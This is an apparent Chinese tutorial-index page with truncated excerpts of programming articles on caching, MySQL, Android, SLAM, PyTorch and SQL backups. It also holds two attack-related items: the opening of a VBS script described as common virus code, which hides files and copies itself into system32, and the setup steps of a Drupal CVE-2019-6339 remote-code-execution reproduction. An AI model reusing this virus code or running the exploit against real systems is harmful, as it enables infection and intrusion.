【代码杂记(二)】教程文章相关的互联网学习教程文章

阅读高手编写的类似QQ聊天的服务端代码业务层设计总结

业务层的代码也应该是面向接口编程,先抽象一个接口或是抽象类,规范一些算法或者功能框架,再在其子类或是实现类中完成具体的方法,易于后期代码的维护。1、业务层缓存技术如果数据对实时性要求不高,可以把数据缓存在内存中,提高效率。一般都是利用集合来缓存数据。如下代码:/** * 存放写线程的缓存器* * @author way*/ public class OutputThreadMap {private HashMap<Integer, OutputTh...

一段病毒常用的VBS代码

复制代码 代码如下:On error resume next Dim fso,wshell,curfolder,curdristr,curdri Set fso=createobject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") Set curfolder=fso.GetFolder(".") curdristr=Left(WScript.ScriptFullName,3) Set curdri=fso.GetDrive(curdristr) reghid() ‘不显示隐藏文件 If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then ‘如果在system32中 For i=1...

清华毕业生开发新特效编程语言,99行代码实现《冰雪奇缘》,网友:大神碉堡!创世的快乐【图】

只用99行代码,你也可以像《冰雪奇缘》里的艾莎公主一样拥有冰雪魔法。 虽然你不能在现实世界中肆意变出魔法,但却能在计算机的虚拟世界挥洒特效。或许你不知道,电影和动画中特效有时仅仅短短的一秒,却可能需要高性能计算机演算一周,花费惊人。 《冰雪奇缘》没有真人出演,预算却高达1.5亿美元,每一秒的镜头都是经费在燃烧。一般人想用电脑做出CG特效简直不可想象。 然而,最近一位来自中国的MIT博士,开发了一种新的CG特效编程...

【校园电子书城】部分代码及数据库设计【图】

部分代码数据库设计 1、t_user2、t_category3、t_book4、t_cartitem5、t_order6、t_orderitem7、t_admin

sql慢查询工具(配置代码)【代码】

# 在mysql的配置文件/etc/mysql/mysql.conf.d/mysqld.cnf[mysqld]中配置懒查询 slow_query_log = ON # 是否已经开启慢查询 long_query_time = 1 # 慢查询统计标准, 超过1秒 slow_query_log_file = /usr/local/mysql/data/zzz-slow.log # 慢查询日志文件路径 log_queries_not_using_indexes = 1 # 如果值设置为ON,则会记录所有没有利用索引的查询(性能优化时开启此项,平时不要开启)# 重启mysql sudo /etc/init.d/mysql rest...

ListView优化的代码【代码】

第三种ListView优化:通过convertView+ViewHolder来实现,ViewHolder就是一个静态类,使用 ViewHolder 的关键好处是缓存了显示数据的视图(View),加快了 UI 的响应速度。当我们判断 convertView == null 的时候,如果为空,就会根据设计好的List的Item布局(XML),来为convertView赋值,并生成一个viewHolder来绑定converView里面的各个View控件(XML布局里面的那些控件)。再用convertView的setTag将viewHolder设置到Tag中,以...

win 7 sp1 升级 win 10 更新时报错代码80070002的解决方法【图】

win 7 sp1 升级 win 10 的过程中不免会遇到各种各样的错误,我所遇到的错误就是在更新下载出现报错代码为80070002。当时我就想知道这串数字代表着什么?它又是什么意思?肯定先要利用搜索引擎来看看windows update 80070002 错误到底是什么?出现错误的图片为: 为了保护电脑的一些程序不被删除,建议选择微软官网来寻找它的解决方法,微软官网的东西可信度还是相当高的。 首先是进入微软官网的首页:http://...

TCP的代码【代码】【图】

视频已经发布,这里是所有的代码仅供参考.  TCP服务器:  MainWindow里面的代码: 1using System;2using System.Collections.Generic;3using System.Linq;4using System.Text;5using System.Windows;6using System.Windows.Controls;7using System.Windows.Data;8using System.Windows.Documents;9using System.Windows.Input;10using System.Windows.Media;11using System.Windows.Media.Imaging;12using System.Windows.Navi...

HTTP协议返回代码含义

1XX 代码这些状态代码表示临时的响应。客户端在收到常规响应之前,应准备接收一个或多个1xx 响应 100 – 继续101 – 切换协议2XX 代码这类状态代码表明服务器成功地接受了客户端请求,一般日志中记录下的应该200的为多 200 – 客户端请求已成功201 – 已创建202 – 已接受203 – 非权威性信息204 – 无内容205 – 重置内容206 – 部分内容3XX 代码表示重定向,客户端浏览器必须采取更多操作来实现请求,比如 header Location: /...

高翔myslam前端代码【代码】

// // Created by gaoxiang on 19-5-2. //#include <opencv2/opencv.hpp>#include "myslam/algorithm.h" #include "myslam/backend.h" #include "myslam/config.h" #include "myslam/feature.h" #include "myslam/frontend.h" #include "myslam/g2o_types.h" #include "myslam/map.h" #include "myslam/viewer.h"namespace myslam {Frontend::Frontend() {gftt_ =cv::GFTTDetector::create(Config::Get<int>("num_features"), 0.01...

用Case类生成模板代码

case类:主要是创建“不可变的记录” 当时你可以把构造函数默认的val 改为var 但这样就颠覆了它的本意case类的好处:1.生成apply方法,不用new 新的实例2.构造函数参数默认是val,自动生成访问方法3.会生成一个默认的toString方法4.会生成unapply在模式匹配时非常实用5.生成equals 和hashCode ,copy方法项目中体会:case class soyo(name:String,age:Int .....等需要返回到前端的数据内容)在服务器端sql查询出来的数据可以封装到:...

【PyTorch】10 文本篇更多代码——BOW、N-Gram、CBOW、LSTM、BI-LSTM CRF【代码】

示例 1. 基于逻辑回归与词袋模式(BOW)的文本分类器完整代码结果 2. 词嵌入:编码形式的词汇语义2.1 N-Gram语言模型完整代码结果 2.2 计算连续词袋模型(CBOW)的词向量完整代码结果3. 序列模型和长短句记忆(LSTM)模型完整代码结果 4. 高级:制定动态决策和BI-LSTM CRF代码结果 小结 1. 基于逻辑回归与词袋模式(BOW)的文本分类器 原教程网站 模型将会把BOW表示映射成标签上的对数概率。我们为词汇中的每个词指定一个索引。例如,我们...

通过T-SQL语句实现数据库备份与还原的代码

--利用T-SQL语句,实现数据库的备份与还原的功能 ----体现了SQL Server中的四个知识点: ----1. 获取SQL Server服务器上的默认目录 ----2. 备份SQL语句的使用 ----3. 恢复SQL语句的使用,同时考虑了强制恢复时关闭其他用户进程的处理 ----4. 作业创建SQL语句的使用/*1.--得到数据库的文件目录@dbname 指定要取得目录的数据库名 如果指定的数据不存在,返回安装SQL时设置的默认数据目录 如果指定NULL,则返回默认的SQL备份目录名 *...

CVE-2019-6339 Drupal 远程代码执行漏洞复现【代码】【图】

CVE-2019-6339 Drupal 远程代码执行漏洞 0x01.环境搭建 利用vulhub搭建漏洞环境 service docker start docker-compose up -d查看监听端口 docker-compose ps访问 http://target_ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库0x02.漏洞介绍影响软件:Drupal 方式:phar反序列化RCE 效果:任意命令执行0x03.漏洞复现 使用管理员用户上传头像,头像图片为构造好...

iBatis 代码自动生成工具 iBator 及 Example 使用【代码】

iBator的下载和安装官方下载地址:http://people.apache.org/builds/ibatis/ibator/ 安装:见《Eclipse 插件安装》 安装完成后,“File” —> "New" —> "Other..." iBatis 代码自动生成工具 iBator - 低调的华丽 - 辉色空间选择项目名 —> "New" —> "Other..." —> “Next” —> 如图iBatis 代码自动生成工具 iBator - 低调的华丽 - 辉色空间 点击“Finish”。就会在IBATORTest/ibatorConfig/目录中生成ibatorConfig.xml文件。i...